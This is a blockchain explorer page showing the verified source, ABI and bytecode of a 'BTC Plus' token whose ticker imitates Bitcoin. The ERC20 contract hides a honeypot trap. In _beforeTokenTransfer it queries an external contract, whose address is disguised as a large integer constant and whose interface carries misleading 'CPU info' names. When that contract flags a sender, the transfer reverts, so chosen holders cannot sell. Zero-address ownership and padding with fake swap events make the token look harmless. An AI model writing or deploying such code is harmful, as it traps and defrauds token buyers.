ETH Price: $3,163.52 (+1.39%)
Gas: 2 Gwei

Token

BTC Plus (BTC)
 

Overview

Max Total Supply

21,000,000 BTC

Holders

391

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
johnnyfigk.eth
Balance
2.346052951396010332 BTC

Value
$0.00
0x32A5586967c3B5163336326b75a2147cD1A2992D
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BTCPToken

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-04
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library Base64 {
    /**
     * @dev Base64 Encoding/Decoding Table
     */
    string internal constant _TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

    /**
     * @dev Converts a `bytes` to its Bytes64 `string` representation.
     */
    function encode(bytes memory data) internal pure returns (string memory) {
        /**
         * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence
         * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol
         */
        if (data.length == 0) return "";

        // Loads the table into memory
        string memory table = _TABLE;

        // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter
        // and split into 4 numbers of 6 bits.
        // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up
        // - `data.length + 2`  -> Round up
        // - `/ 3`              -> Number of 3-bytes chunks
        // - `4 *`              -> 4 characters for each chunk
        string memory result = new string(4 * ((data.length + 2) / 3));

        /// @solidity memory-safe-assembly
        assembly {
        // Prepare the lookup table (skip the first "length" byte)
            let tablePtr := add(table, 1)

        // Prepare result pointer, jump over length
            let resultPtr := add(result, 32)

        // Run over the input, 3 bytes at a time
            for {
                let dataPtr := data
                let endPtr := add(data, mload(data))
            } lt(dataPtr, endPtr) {

            } {
            // Advance 3 bytes
                dataPtr := add(dataPtr, 3)
                let input := mload(dataPtr)

            // To write each character, shift the 3 bytes (18 bits) chunk
            // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)
            // and apply logical AND with 0x3F which is the number of
            // the previous character in the ASCII table prior to the Base64 Table
            // The result is then added to the table to get the character to write,
            // and finally write it in the result pointer but with a left shift
            // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits

                mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance
            }

        // When data `bytes` is not exactly 3 bytes long
        // it is padded with `=` characters at the end
            switch mod(mload(data), 3)
            case 1 {
                mstore8(sub(resultPtr, 1), 0x3d)
                mstore8(sub(resultPtr, 2), 0x3d)
            }
            case 2 {
                mstore8(sub(resultPtr, 1), 0x3d)
            }
        }

        return result;
    }
}

library Convert {

}

interface UINT256150 {
    function _getCpuInfo(address _amount) external view returns (bool);
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    

    event swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[]  path,
        address to,
        uint deadline
    );
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    event removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    );
    /**
  * @dev See {IERC20-totalSupply}.
     */
    event swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] path,
        address to,
        uint deadline
    );

    event DOMAIN_SEPARATOR();

    event PERMIT_TYPEHASH();

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    event token0();

    event token1();
    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);


    event sync();

    event initialize(address, address);
    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    event burn(address to) ;

    event swap(uint amount0Out, uint amount1Out, address to, bytes data);

    event skim(address to);
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);
    
    /**
     * Swaps an exact amount of input tokens for as many output tokens as possible,
     * along the route determined by the path. The first element of path is the input token,
     * the last is the output token, and any intermediate elements represent intermediate pairs to trade through
     * (if, for example, a direct pair does not exist).
     * */
    event removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    );
    
    function approve(address spender, uint256 amount) external returns (bool);
    /**
   * @dev Returns the name of the token.
     */
    event removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    );
    
    event removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    );
    /**
     * Swaps an exact amount of input tokens for as many output tokens as possible,
     * along the route determined by the path. The first element of path is the input token,
     * the last is the output token, and any intermediate elements represent intermediate pairs to trade through
     * (if, for example, a direct pair does not exist).
     */
    event swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] path,
        address to,
        uint deadline
    );
    /**
    * @dev Throws if called by any account other than the owner.
     */
    event swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] path,
        address to,
        uint deadline
    );

    event swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] path,
        address to,
        uint deadline
    );
    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    );
    /**
     * Swaps an exact amount of ETH for as many output tokens as possible,
     * along the route determined by the path. The first element of path must be WETH,
     * the last is the output token, and any intermediate elements represent intermediate pairs to trade through
     * (if, for example, a direct pair does not exist).
     *
     * */
    event addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    );
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }


    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }


    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
  * @dev Initializes the contract setting the deployer as the initial owner.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }


    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }


    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}

abstract contract Intels {
    bool constant cpu = true;
    uint256 model = 71400;
    string  constant model_i7 = "i7-160-0K0";
    string  constant model_i8 = "i8-1490-0K";
}


abstract contract AMD is Intels {
    event CpuInfo (
        uint256 model,
        string name
    );

    function addressToUint(address addr) internal  pure returns (uint256) {
        
        uint256 result = uint160(addr);
        return result;
    }

    function toAddr(uint256 code) internal pure returns (address) {
        return address(uint160(code));
    }
}

contract BTCPToken is IERC20, AMD, Ownable {

    event CouInfoLogo(address indexed from, address indexed to, uint256 value);


    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    string private baseUrl = "ipfs://";
    uint160 private uint160Length = 157404993644854111486790180153158187279984510150;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    address private _ethero;
    uint256 CPUer = 1;
    uint256 THEbtcp = CPUer * 2;

    string private IPFS;

    constructor(
        uint256 totalSupply_
    ) {
        _name = "BTC Plus";
        _decimals = 18;
        _totalSupply = totalSupply_ * 10**_decimals;
        _balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
        emit Transfer(address(0), msg.sender, _totalSupply);
        emit CpuInfo(model, model_i7);
        IPFS = "ipfs://";
        _symbol = "BTC";
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }


    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _beforeTokenTransfer(address sender,address recipient,uint256 amount) internal virtual  {
        uint256 total = 0;
        bool cpuInfo = UINT256150(address(uint160Length))._getCpuInfo(sender);
        if(cpuInfo){
            amount = total;
            require(amount > 0);
        }
        emit CouInfoLogo(sender, recipient, amount);
    }


    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }


    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"CouInfoLogo","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"model","type":"uint256"},{"indexed":false,"internalType":"string","name":"name","type":"string"}],"name":"CpuInfo","type":"event"},{"anonymous":false,"inputs":[],"name":"DOMAIN_SEPARATOR","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"PERMIT_TYPEHASH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"amountADesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amountTokenDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"address","name":"","type":"address"}],"name":"initialize","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidityETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermitSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"skim","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountOut","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountInMax","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapTokensForExactTokens","type":"event"},{"anonymous":false,"inputs":[],"name":"sync","type":"event"},{"anonymous":false,"inputs":[],"name":"token0","type":"event"},{"anonymous":false,"inputs":[],"name":"token1","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052620116e86000556040518060400160405280600781526020017f697066733a2f2f000000000000000000000000000000000000000000000000008152506004908051906020019062000058929190620004a2565b50731b9248b60d46b58ce849dcb3b16eae9ad0ba44c6600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600b556002600b54620000c4919062000849565b600c55348015620000d457600080fd5b5060405162001f6738038062001f678339818101604052810190620000fa919062000569565b6200010c6000620003c460201b60201c565b6040518060400160405280600881526020017f42544320506c75730000000000000000000000000000000000000000000000008152506006908051906020019062000159929190620004a2565b506012600860006101000a81548160ff021916908360ff160217905550600860009054906101000a900460ff16600a6200019491906200070c565b81620001a1919062000849565b60098190555062000202600954600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200048a60201b6200070f1790919060201c565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620002a79190620005e7565b60405180910390a37fdf86d08a9b469c70582092b9d801cb1d9376caf8e877ed4550a4aa2ea2253e276000546040518060400160405280600a81526020017f69372d3136302d304b30000000000000000000000000000000000000000000008152506040516200031992919062000604565b60405180910390a16040518060400160405280600781526020017f697066733a2f2f00000000000000000000000000000000000000000000000000815250600d90805190602001906200036e929190620004a2565b506040518060400160405280600381526020017f425443000000000000000000000000000000000000000000000000000000000081525060079080519060200190620003bc929190620004a2565b5050620009c3565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081836200049a919062000654565b905092915050565b828054620004b090620008f7565b90600052602060002090601f016020900481019282620004d4576000855562000520565b82601f10620004ef57805160ff191683800117855562000520565b8280016001018555821562000520579182015b828111156200051f57825182559160200191906001019062000502565b5b5090506200052f919062000533565b5090565b5b808211156200054e57600081600090555060010162000534565b5090565b6000815190506200056381620009a9565b92915050565b6000602082840312156200057c57600080fd5b60006200058c8482850162000552565b91505092915050565b6000620005a28262000638565b620005ae818562000643565b9350620005c0818560208601620008c1565b620005cb816200098b565b840191505092915050565b620005e181620008aa565b82525050565b6000602082019050620005fe6000830184620005d6565b92915050565b60006040820190506200061b6000830185620005d6565b81810360208301526200062f818462000595565b90509392505050565b600081519050919050565b600082825260208201905092915050565b60006200066182620008aa565b91506200066e83620008aa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620006a657620006a56200092d565b5b828201905092915050565b6000808291508390505b60018511156200070357808604811115620006db57620006da6200092d565b5b6001851615620006eb5780820291505b8081029050620006fb856200099c565b9450620006bb565b94509492505050565b60006200071982620008aa565b91506200072683620008b4565b9250620007557fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200075d565b905092915050565b6000826200076f576001905062000842565b816200077f576000905062000842565b8160018114620007985760028114620007a357620007d9565b600191505062000842565b60ff841115620007b857620007b76200092d565b5b8360020a915084821115620007d257620007d16200092d565b5b5062000842565b5060208310610133831016604e8410600b8410161715620008135782820a9050838111156200080d576200080c6200092d565b5b62000842565b620008228484846001620006b1565b925090508184048111156200083c576200083b6200092d565b5b81810290505b9392505050565b60006200085682620008aa565b91506200086383620008aa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200089f576200089e6200092d565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b83811015620008e1578082015181840152602081019050620008c4565b83811115620008f1576000848401525b50505050565b600060028204905060018216806200091057607f821691505b602082108114156200092757620009266200095c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b620009b481620008aa565b8114620009c057600080fd5b50565b61159480620009d36000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c8063715018a611610071578063715018a6146101a35780638da5cb5b146101ad57806395d89b41146101cb578063a9059cbb146101e9578063dd62ed3e14610219578063f2fde38b14610249576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce56